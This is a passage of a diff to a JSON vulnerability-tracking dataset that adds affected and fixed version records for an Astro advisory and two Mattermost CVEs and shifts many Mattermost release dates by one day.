+ "source_name": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_confidence": "official",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "astro--CVE-2026-33769"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "astro--project--astro--introduced-2-16-0-fixed-5-15-5",
"entity_id": "astro--project--astro",
@@ -800,6 +816,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "astro--project--astro--5-18-1",
+ "entity_id": "astro--project--astro",
+ "root_system_id": "astro",
+ "version": "5.18.1",
+ "released_at": "2026-03-26T19:01:26.420643Z",
+ "release_url": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_name": "https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f",
+ "source_confidence": "official",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "astro--CVE-2026-33769"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "astro--project--astro--9-1-1",
"entity_id": "astro--project--astro",
@@ -27119,7 +27151,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27273,7 +27305,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27287,7 +27319,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.11",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27315,7 +27347,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "10.11.12",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27623,7 +27655,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27665,7 +27697,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27679,7 +27711,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.3",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27693,7 +27725,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27721,7 +27753,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27749,7 +27781,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27763,7 +27795,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27805,7 +27837,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27819,7 +27851,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27833,7 +27865,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -27889,7 +27921,7 @@
"entity_id": "mattermost",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -37686,7 +37718,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -37840,7 +37872,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -37854,7 +37886,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "10.11.11",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38193,7 +38225,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38235,7 +38267,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38249,7 +38281,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.3",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38263,7 +38295,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38291,7 +38323,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38319,7 +38351,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38333,7 +38365,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38375,7 +38407,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38389,7 +38421,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38403,7 +38435,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -38491,7 +38523,7 @@
"entity_id": "mattermost--plugin--mattermost-plugins",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48309,7 +48341,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48463,7 +48495,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48477,7 +48509,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.11",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48505,7 +48537,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "10.11.12",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48813,7 +48845,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48855,7 +48887,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48869,7 +48901,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.3",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48883,7 +48915,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48911,7 +48943,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48939,7 +48971,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48953,7 +48985,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -48995,7 +49027,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -49009,7 +49041,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -49023,7 +49055,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -49079,7 +49111,7 @@
"entity_id": "mattermost--project--issue-platform",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -58865,7 +58897,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59019,7 +59051,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59443,7 +59475,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59485,7 +59517,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59593,7 +59625,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59621,7 +59653,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59733,7 +59765,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59747,7 +59779,7 @@
"entity_id": "mattermost--project--mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -59974,12 +60006,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -60129,6 +60163,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<5.3.2-0.20260127165411-fe3052073dc6",
+ "released_at": "2026-03-16T15:30:43Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129133647-5d787969c2d5",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -60161,6 +60211,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<5.3.2-0.20260129181235-1346cf529aef",
+ "released_at": "2026-03-16T15:30:42Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-5-3-2-0-20260130144323-5bb5261c72fa",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -60335,6 +60401,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<8.0.0-20260127165411-fe3052073dc6",
+ "released_at": "2026-03-16T15:30:43Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129133647-5d787969c2d5",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -60367,6 +60449,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "introduced=0, fixed<8.0.0-20260129181235-1346cf529aef",
+ "released_at": "2026-03-16T15:30:42Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "affected",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--introduced-0-fixed-8-0-0-20260130144323-5bb5261c72fa",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -63789,6 +63887,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "5.3.2-0.20260127165411-fe3052073dc6",
+ "released_at": "2026-03-26T21:11:03.241919Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129133647-5d787969c2d5",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -63821,6 +63935,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "5.3.2-0.20260129181235-1346cf529aef",
+ "released_at": "2026-03-26T21:11:24.090883Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--5-3-2-0-20260130144323-5bb5261c72fa",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -67635,6 +67765,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260127165411-fe3052073dc6",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "8.0.0-20260127165411-fe3052073dc6",
+ "released_at": "2026-03-26T21:11:03.241919Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-2456",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-2456"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129133647-5d787969c2d5",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -67667,6 +67813,22 @@
],
"is_latest_snapshot": false
},
+ {
+ "version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260129181235-1346cf529aef",
+ "entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
+ "root_system_id": "mattermost",
+ "version": "8.0.0-20260129181235-1346cf529aef",
+ "released_at": "2026-03-26T21:11:24.090883Z",
+ "release_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_name": "https://nvd.nist.gov/vuln/detail/CVE-2026-25783",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "fixed",
+ "advisory_refs": [
+ "mattermost--CVE-2026-25783"
+ ],
+ "is_latest_snapshot": false
+ },
{
"version_id": "mattermost--repo--github-com-mattermost-mattermost-server--8-0-0-20260130144323-5bb5261c72fa",
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
@@ -70488,7 +70650,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -70527,12 +70689,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -70554,12 +70718,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -70696,7 +70862,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.10",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -70721,12 +70887,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -70748,12 +70916,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -70778,7 +70948,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "10.11.12",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71086,7 +71256,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71125,12 +71295,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -71155,7 +71327,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71180,12 +71352,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -71207,12 +71381,14 @@
"mattermost--CVE-2026-22545",
